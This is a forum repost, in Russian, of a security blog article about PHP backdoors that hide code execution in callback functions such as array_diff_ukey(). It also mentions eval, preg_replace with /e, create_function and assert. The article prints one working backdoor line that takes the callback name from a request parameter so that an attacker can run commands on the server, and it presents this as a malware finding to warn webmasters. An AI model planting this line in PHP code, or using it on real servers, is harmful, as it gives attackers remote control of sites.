Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Бэкдоры в колбек-функциях PHP (array_diff_ukey() и других)


andreyvebuiskii

Recommended Posts

Это перепечатка статьи "В PHP Callback функциях скрывается бэкдор".

 
Мы часто сталкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска заразы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и такие, которые своей необычностью просто ставят нас в тупик. Этот пост именно о последних.
 
Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, содержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace(). В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпадений с шаблоном pattern и заменяет их на replacement. К сожалению, при использовании «\e» модификатора, эта функция также исполняет код.
 
Конечно, есть еще много способов выполнить код без использования eval(), например, create_function() или assert(). Все эти нестандартные методы исполнения кода делают процесс выявления угроз достаточно сложной процедурой. Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров.
 
 
Бэкдоры
Все началось со следующей строки кода, найденной в начале нормального PHP файла:
 
@array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);
 
Это заставило меня поразмышлять некоторое время, прежде чем я понял как это может работать. В конце концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сделал колбек-функцию переменной «login», которая им же и контролируется. Вот так он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере.
 
pict_phpcode1.jpg
 
Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, такая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем.
 
 
Так в чем же основная опасность?
Большинство инструментов безопасности и всяческих статей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных целях, такие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры начинают активно использовать и самые безобидные функции в своих плохих для вас целях.
 
Запомните, что злоумышленники не ограничиваются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек.

 

 

Оригинальный текст позаимствован отсюда:

http://virusdie.ru/blog/2014/04/28/phpcallbackbackdoor/

  • +1 1
Надіслати
Поділитися на інших сайтах


Надіслати
Поділитися на інших сайтах

Створіть аккаунт або увійдіть для коментування

Ви повинні бути користувачем, щоб залишити коментар

Створити обліковий запис

Зареєструйтеся для отримання облікового запису. Це просто!

Зареєструвати аккаунт

Вхід

Уже зареєстровані? Увійдіть тут.

Вхід зараз

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.